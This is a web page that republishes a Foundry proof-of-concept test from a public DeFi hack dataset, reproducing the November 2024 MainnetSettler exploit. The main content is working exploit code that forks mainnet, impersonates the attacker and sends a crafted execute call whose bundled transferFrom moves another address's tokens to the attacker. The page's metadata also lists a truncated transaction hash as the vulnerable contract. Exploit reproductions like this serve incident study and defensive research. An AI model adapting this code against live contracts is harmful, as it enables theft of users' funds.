Skip to content
THREATWIRE

Public reproduction file

src/test/2024-11/MainnetSettler_exp.sol

Public reproduction file for dataset entry MainnetSettler.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-11/MainnetSettler_exp.sol93 lines
1pragma solidity ^0.8.10;
2
3import "forge-std/Test.sol";
4import "../interface.sol";
5
6// @KeyInfo - Total Lost : $66K
7// Attacker : https://etherscan.io/address/0x3a38877312d1125d2391663cba9f7190953bf2d9
8// Attack Contract : https://etherscan.io/address/0x285d37b0480910f977cd43c9bd228527bfad816e, https://etherscan.io/address/0x95b4fecf1f5b9c56ce51ebfedd582c5f40f2ef8c
9// Vulnerable Contract :
10// Attack Tx : https://etherscan.io/tx/0xfab5912f858b3768b7b7d312abcc02b64af7b1e1b62c4f29a2c1a2d1568e9fa2
12// @Info
13// Vulnerable Contract Code :
15// @Analysis
16// Post-mortem : https://x.com/TenArmorAlert/status/1859416451473604902
17// Twitter Guy : https://x.com/TenArmorAlert/status/1859416451473604902
18// Hacking God : N/A
20address constant MainnetSettler = 0x70bf6634eE8Cb27D04478f184b9b8BB13E5f4710;
21address constant attacker = 0x3A38877312D1125d2391663CBa9f7190953Bf2d9;
22address constant hold = 0x68B36248477277865c64DFc78884Ef80577078F3;
23address constant addr3 = 0xA31d98b1aA71a99565EC2564b81f834E90B1097b;
25contract ContractTest is Test {
26 function setUp() public {
27 vm.createSelectFork("mainnet", 21230768-1);
28 }
30 function testPoC() public {
31 emit log_named_decimal_uint("before attack: balance of attacker", IERC20(hold).balanceOf(attacker), 18);
32 vm.startPrank(attacker, attacker);
33 AttackerC attC = new AttackerC();
34 vm.stopPrank();
35 emit log_named_decimal_uint("after attack: balance of attacker", IERC20(hold).balanceOf(attacker), 18);
36 }
39contract AttackerC {
40 constructor() {
41 new AttackerCC();
42 }
45contract AttackerCC {
46 constructor() {
47 bytes32 fixeddata = hex"e0b1db9e7c871328327e3f9e0000000000000000000000000000000000000000";
49 bytes memory call1 = abi.encodeWithSelector(
50 bytes4(0x38c9c147),
51 uint256(0),
52 uint256(10000),
53 address(hold),
54 uint256(0),
55 uint256(160),
56 uint256(100)
57 );
59 bytes memory call2 = abi.encodeWithSelector(
60 bytes4(0x23b872dd),
61 address(addr3),
62 address(attacker),
63 uint256(308453642481581939556432141)
64 );
66 bytes[] memory actions = new bytes[](1);
67 actions[0] = abi.encodePacked(call1,call2);
69 IMainnetSettler.Slippage[] memory slippages = new IMainnetSettler.Slippage[](1);
70 slippages[0] = IMainnetSettler.Slippage({
71 recipient: address(0),
72 buyToken: address(0),
73 minAmountOut: 0
74 });
76 bytes memory data = abi.encodeWithSelector(
77 IMainnetSettler.execute.selector,
78 slippages[0],
79 actions,
80 fixeddata
81 );
82 (bool ok, ) = MainnetSettler.call(data);
83 }
86interface IMainnetSettler {
87 struct Slippage {
88 address recipient;
89 address buyToken;
90 uint256 minAmountOut;
91 }
92 function execute(Slippage calldata, bytes[] calldata, bytes32) external returns (bool);

Analysis

Dataset entry

Public Foundry test for “MainnetSettler” (2024-11-20). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x3a38877312d1125d2391663cba9f7190953bf2d9

  • Attack Contract

    0x285d37b0480910f977cd43c9bd228527bfad816e

  • Vulnerable Contract

    0xfab5912f858b3768b7b7d312abcc02b64af7b1e1

  • Attack Tx

    0xfab5912f858b3768b7b7d312abcc02b64af7b1e1b62c4f29a2c1a2d1568e9fa2

File record

Name
MainnetSettler
Path
src/test/2024-11/MainnetSettler_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
4dc91aedcfa3a2664a795f050d0686b64368cd20
Language
Solidity
Size
93 lines
Date
2024-11-20
Licence
ThreatWire editorial text
Retrieved
2026-10-19

Provenance

Path src/test/2024-11/MainnetSettler_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4dc91aedcfa3a2664a795f050d0686b64368cd20, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.